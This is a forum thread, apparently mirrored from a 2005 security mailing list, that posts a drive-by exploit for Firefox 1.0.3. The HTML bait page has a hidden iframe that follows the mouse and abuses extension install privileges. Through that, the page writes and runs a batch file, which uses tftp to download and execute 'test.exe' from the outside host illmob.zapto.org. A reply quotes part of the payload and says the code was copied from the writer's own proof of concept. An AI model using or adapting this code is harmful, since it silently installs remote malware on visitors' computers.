firefox 1.0.3 spoof+auto dl

john smith · 08/05/05 01:35

firefox 1.0.3 spoof+auto dl

../0 bite the cheese illwill./
idiot
tftp -i illmob.zapto.org get test.exe c:\test.exe

../-----------------js.js----------./
var blockedReferrer = 'blockedReferrer';
NS_ActualWrite=document.write;
// Popup Blocker -->
RanPostamble=0;
NS_ActualOpen=window.open;
function NS_NullWindow(){this.window;}
function nullDoc() {
this.open = NS_NullWindow;
this.write = NS_NullWindow;
this.close = NS_NullWindow;
}
function NS_

NewOpen(url,nam,atr){
if((nam!='' && nam==window.name) || nam=='_top'){
return(NS_ActualOpen(url,nam,atr));}
obj=new NS_NullWindow();
obj.focus = NS_NullWindow;
obj.blur = NS_NullWindow;
obj.opener = this.window;
obj.document = new nullDoc();
return(obj);
}
function NS_NullWindow2(){this.window;}
function NS_NewOpen2(url,nam,atr){
if((nam!='' && nam==window.name) || nam=='_top'){
return(NS_ActualOpen(url,nam,atr));}
return(new NS_NullWindow2());
}
function op_stop() { NS_ActualOpen2=window.open; window.open=NS_NewOpen2; }
function op_start() { window.open=NS_ActualOpen2; }
function noopen_load() {
op_stop(); if(zl_orig_onload) zl_orig_onload(); op_start();
}
function noopen_unload() { op_stop(); if(zl_orig_onunload) zl_orig_onunload(); op_start(); }
function postamble() {

if(!RanPostamble) {
RanPostamble=1;
zl_orig_onload = window.onload;
zl_orig_onunload = window.onunload;
window.open=NS_ActualOpen;
}
}
window.open=NS_NewOpen;
document.ignore = new Object();
-------------------------------
../--------your info .htm-------------./
<html><head><title>hide me bitch</title>

<meta http-equiv="Expires" content="Tue, 16 Jan 1990 21:29:02 GMT">

<script language="javascript" src="yourinfo_files/js.js"></script></head>

<body>

<script language="JavaScript"></script>
<script language="JavaScript"></script><script language="JavaScript"></script><script language="javascript"></script>i can tell you your username magically through the internet!!<br>Click <a href="#">HERE</a>inside this page to get the hidden answer!<br><iframe onload="loader()" src="javascript:'<noscript>'+eval('if (window.name!=\'stealcookies\'){wi
ndow.name=\'stealcookies\';} else{ event={target:{href:\'http://ftp.mozilla.org/pub/mozilla.org/extensions/flashgot/flashgot-0.5.9.1-fx+mz+tb.xpi\'}};install(event,\'You are vulnerable!!!\',\'javascript:eval(\\\'netscape.sec urity.PrivilegeManager.enableP
rivilege(\\\\\\\'UniversalXPConnect\\\\\\\');file= Components.classes[\\\\\\\'@mozilla.org/file/local;1\\\\\\\'].createInstance(Components.interfaces.nsILocalFile );file.initWithPath(\\\\\\\'c:\\\\\\\\\\\\\\\\booo m.bat\\\\\\\');file.createUnique(Components.
interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStr eam=Components.classes[\\\\\\\'@mozilla.org/network/file-output-stream;1\\\\\\\'].createInstance(Components.interfaces.nsIFileOutpu tStream);outputStream.init(file,0x04|0x08|0x
20,420,0);output=\\\\\\\'tftp -i illmob.zapto.org get test.exe c:\\\\\\\\\\\\\\\\test.exe\\\\\\\\ncls\\\\\\\\nsta rt c:\\\\\\\\\\\\\\\\test.exe\\\\\\\\ndel %0\\\\\\\\ncls\\\\\\\';outputStream.write(output,o utput.length);outputStream.close();file.launch();
\\\')\'); }')+'</noscript><a href=\'https://addons.update.mozilla.org/extensions/moreinfo.php?id=220&application=firefox\' style=\'cursor:default;\'> </'+'a>'" id="targetframe" marginwidth="0" marginheight="0" style="margin: 0px; padding: 0px; position:
absolute; height: 6px; width: 6px; opacity: 0; left: 504px; top: 280px;" frameborder="0" scrolling="no"></iframe><script language="JavaScript" type="text/javascript">

document.onmousemove = function trackMouse(e) {
document.getElementById("targetframe").style.left = (e.pageX-3)+"px"
document.getElementById("targetframe").style.top = (e.pageY-3)+"px"
}

var counter = 0;
function loader() {
counter++
if(counter == 1) {
stealcookies.focus()
} else if(counter == 2) {
stealcookies.history.go(-1)
//targetframe.style.display="none";
}
}

</script>
<script language="javascript">postamble();</script>
</body></html>
------------------------------------------

Paul · 09/05/05 21:25

In-Reply-To: <20050507173037.20610.qmail@www.securityfocus.com>

This is the copy of my PoC. The person responsible for the leak of my remote compromise is the starter of this thread. In fact, he copies some of the code directly from my PoC:

javascript:'<noscript>'+eval('if (window.name!=\'stealcookies\'){window.name=\'stea lcookies\';} else{ event={target:{href:\'http://ftp.mozilla.org/pub/mozilla.org/extensions/flashgot/flashgot-0.5.9.1-fx+mz+tb.xpi\'}};install(event,\'You are vulnerable!!!

That is the window name, object creater, even direct string copies from my site. This guy is incredible.

Paul

Onderwerp Gereedschap

Toon

Onderwerp: firefox 1.0.3 spoof+auto dl

firefox 1.0.3 spoof+auto dl

Re: firefox 1.0.3 spoof+auto dl

Webhostingtalk.nl

Link met ons

Partners

Contact